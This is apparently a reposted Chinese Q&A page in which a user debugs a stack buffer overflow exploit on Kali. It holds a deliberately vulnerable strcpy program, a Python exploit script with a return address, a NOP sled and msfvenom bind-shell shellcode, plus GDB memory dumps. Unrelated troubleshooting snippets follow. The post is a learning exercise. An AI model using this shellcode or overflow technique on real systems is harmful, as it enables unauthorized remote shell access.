堆栈缓冲区溢出漏洞利用中间的分段错误

如何解决堆栈缓冲区溢出漏洞利用中间的分段错误

我正在这里利用这段代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int copytobuffer(char *input)
{
        char buffer[256];
        strcpy(buffer,input);
return 0;
}

void main(int argc,char *argv[])
{
        int local_variable = 0;
        copytobuffer(argv[1]);
        exit(0);
}

是这样编译的

gcc -z execstack -fno-stack-protector buffer.c -o buffer.out

我还关闭了操作系统(64 位 kali)的系统 ASLR

使 input.txt 文件看起来像这样的exploit.py文件

#!/usr/bin/python
from struct import *


buf = "A" * 264   #layer of A

buf += pack("<Q",0x7fffffffe3a8)  #return address

buf += "\x90" * 64    #NOP sled

buf += b"\xdb\xd0\xb8\xb6\x36\xf9\x5a\xd9\x74\x24\xf4\x5e\x29" #Shell code
buf += b"\xc9\xb1\x14\x31\x46\x19\x03\x46\x19\x83\xc6\x04\x54"
buf += b"\xc3\xc8\x81\x6f\xcf\x78\x75\xdc\x7a\x7d\xf0\x03\xca"
buf += b"\xe7\xcf\x43\x70\xb6\x9d\x2b\x85\x46\x33\xf7\xe3\x56"
buf += b"\x62\x57\x7d\xb7\xee\x31\x25\xf5\x6f\x34\x94\x01\xc3"
buf += b"\x42\xa7\x6c\xee\xca\x84\xc0\x96\x07\x8a\xb2\x0e\xfd"
buf += b"\xb4\xec\x7d\x81\x82\x75\x86\xe9\x3b\xa9\x05\x81\x2b"
buf += b"\x9a\x8b\x38\xc2\x6d\xa8\xea\x49\xe7\xce\xba\x65\x3a"
buf += b"\x90"

f = open("input.txt","w+") #write to input.txt
f.write(buf)
f.close()

我使用 msfvenom 生成 shellcode

msfvenom -p linux/x86/shell_bind_tcp -b '\x00\x0A\x0D\xFF' -f c LPORT=4444 -f python

当我运行漏洞利用时,它会进入 NOP 雪橇并通过 NOP 雪橇运行就好了。问题出现在shellcode执行过程中。

这就是 GDB 的样子。

(gdb) run $(cat input.txt)
Starting program: /home/kali/buffer.out $(cat input.txt)

Program received signal SIGSEGV,Segmentation fault.
0x00007fffffffe3dd in ?? ()
(gdb)

这就是内存布局的样子。

0x7fffffffe278: 0x74756f2e      0x41414100      0x41414141      0x41414141  #layer of A's
0x7fffffffe288: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe298: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2a8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2b8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2c8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2d8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2e8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2f8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe308: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe318: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe328: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe338: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe348: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe358: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe368: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe378: 0x41414141      0x41414141      0x41414141      0xffe3a841
0x7fffffffe388: 0x007fffff      0x90909000      0x90909090      0x90909090   #NOP sled
0x7fffffffe398: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3a8: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3b8: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3c8: 0x90909090      0xb8d0db90      0x5af936b6      0xf42474d9   #shell code
0x7fffffffe3d8: 0xb1c9295e      0x19463114      0x83194603      0xc35404c6   #SEGFAULT here
0x7fffffffe3e8: 0xcf6f81c8      0x7adc7578      0xca03f07d      0x7043cfe7
0x7fffffffe3f8: 0x852b9db6      0xe3f73346      0x7d576256      0x2531eeb7
0x7fffffffe408: 0x94346ff5      0xa742c301      0x84caee6c      0x8a0796c0
0x7fffffffe418: 0xb4fd0eb2      0x82817dec      0x3be98675      0x2b8105a9
0x7fffffffe428: 0xc2388b9a      0x49eaa86d      0x65bacee7      0x4300903a
0x7fffffffe438: 0x524f4c4f      0x47424746      0x3b35313d      0x4f430030
--Type <RET> for more,q to quit,c to continue without paging--

为什么会发生这种情况,我该如何解决?

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


使用本地python环境可以成功执行 import pandas as pd import matplotlib.pyplot as plt # 设置字体 plt.rcParams[&#39;font.sans-serif&#39;] = [&#39;SimHei&#39;] # 能正确显示负号 p
错误1:Request method ‘DELETE‘ not supported 错误还原:controller层有一个接口,访问该接口时报错:Request method ‘DELETE‘ not supported 错误原因:没有接收到前端传入的参数,修改为如下 参考 错误2:cannot r
错误1:启动docker镜像时报错:Error response from daemon: driver failed programming external connectivity on endpoint quirky_allen 解决方法:重启docker -&gt; systemctl r
错误1:private field ‘xxx‘ is never assigned 按Altʾnter快捷键,选择第2项 参考:https://blog.csdn.net/shi_hong_fei_hei/article/details/88814070 错误2:启动时报错,不能找到主启动类 #
报错如下,通过源不能下载,最后警告pip需升级版本 Requirement already satisfied: pip in c:\users\ychen\appdata\local\programs\python\python310\lib\site-packages (22.0.4) Coll
错误1:maven打包报错 错误还原:使用maven打包项目时报错如下 [ERROR] Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resources (default-resources)
错误1:服务调用时报错 服务消费者模块assess通过openFeign调用服务提供者模块hires 如下为服务提供者模块hires的控制层接口 @RestController @RequestMapping(&quot;/hires&quot;) public class FeignControl
错误1:运行项目后报如下错误 解决方案 报错2:Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.1:compile (default-compile) on project sb 解决方案:在pom.
参考 错误原因 过滤器或拦截器在生效时,redisTemplate还没有注入 解决方案:在注入容器时就生效 @Component //项目运行时就注入Spring容器 public class RedisBean { @Resource private RedisTemplate&lt;String
使用vite构建项目报错 C:\Users\ychen\work&gt;npm init @vitejs/app @vitejs/create-app is deprecated, use npm init vite instead C:\Users\ychen\AppData\Local\npm-
参考1 参考2 解决方案 # 点击安装源 协议选择 http:// 路径填写 mirrors.aliyun.com/centos/8.3.2011/BaseOS/x86_64/os URL类型 软件库URL 其他路径 # 版本 7 mirrors.aliyun.com/centos/7/os/x86
报错1 [root@slave1 data_mocker]# kafka-console-consumer.sh --bootstrap-server slave1:9092 --topic topic_db [2023-12-19 18:31:12,770] WARN [Consumer clie
错误1 # 重写数据 hive (edu)&gt; insert overwrite table dwd_trade_cart_add_inc &gt; select data.id, &gt; data.user_id, &gt; data.course_id, &gt; date_format(
错误1 hive (edu)&gt; insert into huanhuan values(1,&#39;haoge&#39;); Query ID = root_20240110071417_fe1517ad-3607-41f4-bdcf-d00b98ac443e Total jobs = 1
报错1:执行到如下就不执行了,没有显示Successfully registered new MBean. [root@slave1 bin]# /usr/local/software/flume-1.9.0/bin/flume-ng agent -n a1 -c /usr/local/softwa
虚拟及没有启动任何服务器查看jps会显示jps,如果没有显示任何东西 [root@slave2 ~]# jps 9647 Jps 解决方案 # 进入/tmp查看 [root@slave1 dfs]# cd /tmp [root@slave1 tmp]# ll 总用量 48 drwxr-xr-x. 2
报错1 hive&gt; show databases; OK Failed with exception java.io.IOException:java.lang.RuntimeException: Error in configuring object Time taken: 0.474 se
报错1 [root@localhost ~]# vim -bash: vim: 未找到命令 安装vim yum -y install vim* # 查看是否安装成功 [root@hadoop01 hadoop]# rpm -qa |grep vim vim-X11-7.4.629-8.el7_9.x
修改hadoop配置 vi /usr/local/software/hadoop-2.9.2/etc/hadoop/yarn-site.xml # 添加如下 &lt;configuration&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.res